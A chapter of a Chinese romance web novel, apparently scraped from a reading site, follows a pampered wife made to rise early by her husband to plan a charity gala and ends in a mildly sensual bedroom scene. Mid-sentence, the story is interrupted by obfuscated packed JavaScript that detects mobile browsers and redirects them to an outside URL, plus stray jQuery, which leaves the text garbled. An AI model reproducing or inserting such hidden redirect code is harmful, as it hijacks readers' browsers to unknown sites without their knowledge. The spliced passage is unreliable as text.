8. 碰触
作品:《谁想和他结婚啊》 黎舒茵前一晚定了七八个闹钟,从五点半就开始响个不停,终于成功地在七点前将她从床上唤醒。
她目光呆滞地抱着被子在床上坐了会儿,才慢悠悠地起身。
拿起手机看一眼,才五点五十,上一次起这么早是什么时候都记不清了。
高中都没起过这么早。
她游魂似的下了地,听见敲门声。
“茵茵。”荣衍的声音自门外响起,“起了吗?”
黎舒茵瞬间精神一振。
不能白起啊,一定得在荣衍面前炫耀一下!
她拍了拍自己的脸,更清醒了一些后才打开门,难掩得意地道:“当然起了。”
荣衍站在门外,一身清爽的白色运动装,头发柔顺垂落,带着未干的水汽,让他平白无故看起来年轻了好几岁。
黎舒茵知道他有晨起运动的习惯,而且非常规律,一、四游泳,二、五跑步,其余时间穿插练击剑、格斗和擒拿,时不时就能看到他的各自私人教练出没。
对马球、帆船和滑雪也很擅长,帆船甚至拿过不少竞赛奖项,也不知道他哪里来的那么多精力。
今天是周四,他现在显然是刚游完5000米的状态,整个人看起来容光焕发,对比自己的无精打采,黎舒茵心里咕噜噜地泛酸。
“你的人生可真无趣。”黎舒茵酸溜溜地道,“从小到大连个懒觉都没睡过。”
荣家是实打实的精英教育,荣衍从小就是一分钟掰成两分钟用,除了学校的课程,平时还要学习各种语言和财经金融知识,就这还能抽出空来对她管东管西……
所以黎舒茵曾经怀疑他是机器人,不用睡觉,也不是无中生有。
荣衍不置可否,看了眼表说:“既然醒了,就准时下来吃饭。”
“知道啦——”黎舒茵拖长尾音,无情地甩上了门。
快速地洗漱完毕,她打着哈欠去了小餐厅。
二楼临湖的小餐厅晨起景色很好,窗外郁郁葱葱,湖面泛着薄雾,稀薄的阳光为其染上一层粼粼的波光。
荣衍正在用餐,不用看黎舒茵都知道是什么。
全麦吐司、新鲜蔬果、一颗水煮蛋,一小把坚果,一杯脱脂牛奶或者黑咖啡。
拉开椅子坐下,黎舒茵开始享用自己昨天要求的港式早茶,慢吞吞地吃虾饺,顺便往对面扫了一眼,果然和她猜的分毫不差。
荣衍向来就是这样,只接受自己惯用的,不管是吃穿用度还是……人,也许是念旧,也许只是懒得更换。
沉默地用完早晨,荣衍淡声道:“我安排的人稍后就来,冯可也会到。”
黎舒茵无动于衷地吃了口榴莲酥。
“怎么不说话?”荣衍起身,瞥来一眼。
黎舒茵指了指食物,又指了指嘴巴,眨巴着大眼睛摆摆手,意思是:吃饭,不说话。
荣衍笑了下,什么都没说,走了。
十分钟后,黎舒茵透过窗户看见他常乘坐的那辆迈巴赫开了出去。
荣衍崇尚低调,家里的各类定制款劳斯莱斯都是她在坐,比如她18岁时定制的那一辆。
星空顶是她出生时的星图,车身颜色是她的发丝颜色一比一复刻,为了让车身更加闪耀,在车漆中加入了上千颗被磨成粉末的钻石。
但荣衍常年就这一辆表面并不起眼的纯黑迈巴赫,就连车牌号都是无规律的数字加字母的组合,他从不在小事上彰显特权。
不过荣衍倒是给她弄了块不算太扎眼但也有些能量的北A82XXX。后面的数字不重要,明眼人一看A82就知道车里的人惹不起,这种车牌号只有极个别的才会流入私人手中。
北城的水太深,真正的钟鸣鼎食之家行事都沉稳而保守,彰显能量的方式一向低调无声。而真正厉害的北AC6和WA02,又不是谁都能用的,只有情况特殊时才会去用到这种车牌。
黎舒茵收回目光,与此同时,有佣人上了二楼:“太太,先生为你安排的人已经到齐了,现在正在客厅等你。”
黎舒茵点点头:“知道了,我马上就下去。”
等她换衣化妆后下楼,看见客厅里站了三个人,管家埃里森正在招待客人。
来人两男一女,女的她很熟悉,她的助理冯可,人虽然一板一眼的没什么意思,但做事高效。
另两个看见她后主动做了自我介绍,一个是基金会的项目经理赵呈,一个是业内搞活动策划的精英徐司。
可能是提前打过招呼,几乎没有什么寒暄的时间,几个人龙卷风似的把她卷到书房,就开始上午的工作和学习。
距离慈善晚宴还有一个来月,其实主题和方案都已经差不多定了,只是具体流程和许多细节还需要敲定,最后呈现的效果需要她去过目,邀请名单也需要做最后的调整等等。
内容繁琐又枯燥,无聊透顶,黎舒茵本来就没睡够,这下听得昏昏欲睡,眼皮打架。
不过她这个人性格里有一些执拗,不管水平怎么样,答应了的事会努力去做到最好,尤其这还涉及到她在荣衍跟前的颜面问题。
更何况,何艺悦能知道的事,旁人也能知道,操舵手突然换了人,是人都能猜出来怎么回事。如果办砸了,就算当面不说什么,背地里也会嘲笑她的无能。
好不容易上午度过,黎舒茵刚刚松了一口气,就听冯可说:“太太,中午休息两小时,下午两点继续。徐司会将此次晚宴的供应商资料和现场设计的初稿整理好,需要你过目。明天有一个环保主题的沙龙,还有一个画展剪彩,时间冲突,需要二选一……”
“我选画展!”黎舒茵立刻说。
别看她成天看似无所事事,其实身上一堆头衔,什么某某慈善组织成员,某某艺术协会成员,时不时会有一些活动需要参加。
所有的社交账号也都有专人打理,不是在热爱地球就是在关心人类,时不时还忧心一下濒危动植物,虽然也没几个粉丝。
黎舒茵自己有小号,但是什么也不敢发,怕哪天不慎被人扒了,只敢用来吃吃瓜,防止手滑。
冯可点头:“好,沙龙那边我推掉。”
黎舒茵松了口气,趴倒在桌上。
又被折磨了一下午,到了晚上,自由的那点时间就让人感觉格外宝贵,舍不得睡觉,硬是熬到十二点才睡。
可想而知,第二天起床时有多痛苦。
面对着一桌丰盛的早餐,黎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218312|197458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舒茵却只想一口把荣衍咬死。
“昨天感觉怎么样?”临走前,荣衍问她。
“很好。”黎舒茵梗着脖子说,“感觉人生特别充实,特别美好。”
荣衍点头道:“那就好。”
然后就走了,让黎舒茵准备顶回去的一肚子话都白费了。
画展剪彩早上九点开始,黎舒茵做了造型赶过去,就差不多到剪彩时间。噙着得体的微笑出席完活动,借口还有别的事,她没参观。
自从大学毕业搁下画笔后,她就不看展了,怕触景生情。
下午继续接受折磨,但好歹把晚宴上所需的供应商都敲定了,只是现场布置的设计图她总觉得中规中矩,不够出彩。
黎舒茵一直思考着这事,等洗了澡躺在床上的时候,想到明天又得七点起床,忍不住叹了口气。
在将梦将醒的时候,她忽然反应过来了。
不对啊!
凭什么荣衍让她几点起,她就几点起?
她的工作不应该她自己安排时间吗?她干嘛这么听他的话啊?!
显得她好像日理万机一样,其实她根本没那么忙啊!
这家伙分明就是在故意整她!
愤愤地拿起手机,黎舒茵正想给他发条微信,告诉荣衍自己明天不要早起了。想了想又删除,凭什么和他报备?
她真是犯傻了。
于是这条微信发给了冯可,让他们明天九点再来。
但她遗漏了一个很重要的问题,荣衍每天都会过来叫她起床,而且她睡觉从来不锁门。
这就导致第二天荣衍站在她床边时,黎舒茵还缩在被子里呼呼大睡。
“茵茵。”
清冷淡然的男声响起,不仅没能唤醒她,反倒让人又往被子里缩了缩。
黎舒茵闭着眼睛不肯睁开,噩梦,一定是噩梦。
“茵茵,该起床了。”
凉飕飕的手指碰了碰她睡得热乎乎的脸颊,黎舒茵烦躁地躲开,转过身去:“我不要,我为什么要听你的啊?”
荣衍眯起双眸:“你忘了你答应过什么了?”
“我可什么都没有答应。”黎舒茵又往旁边蹭了下,背对着他嘀嘀咕咕地抱怨,“你分明是故意折腾我!”
她说得太小声,荣衍没听清,下意识凑过去问:“你说什么?”
黎舒茵睡得迷迷糊糊,忽然翻过去,抱住他的脖子整个人都挂了上去,趴在他耳边大声喊:“我说,你就是故意欺负我!”
她穿了一身水蓝色的吊带睡裙,经过一夜的折腾,一边的肩带已经滑落下去,露出一片细腻洁白的肩膀,全靠胸前饱满的挺立才撑住了那片薄薄的布料没有坠下去。
昏暗的房间,窗帘缝隙中漏出一线清透的阳光,半梦半醒的女人带着一身温热香气,扑了他一个满怀,不依不饶地挂在他的身上,像一枚摇晃不止的铃铛。
也将他带入半梦半醒的迷幻之中,如坠梦境。
温香软玉在怀,但他很清醒地知道,这不是梦。
荣衍因颜色浅淡而显得格外冷漠的双眸凝滞了一下,喉结微微滚动。
他抬起手,平淡的目光在一瞬间变得晦暗不明。

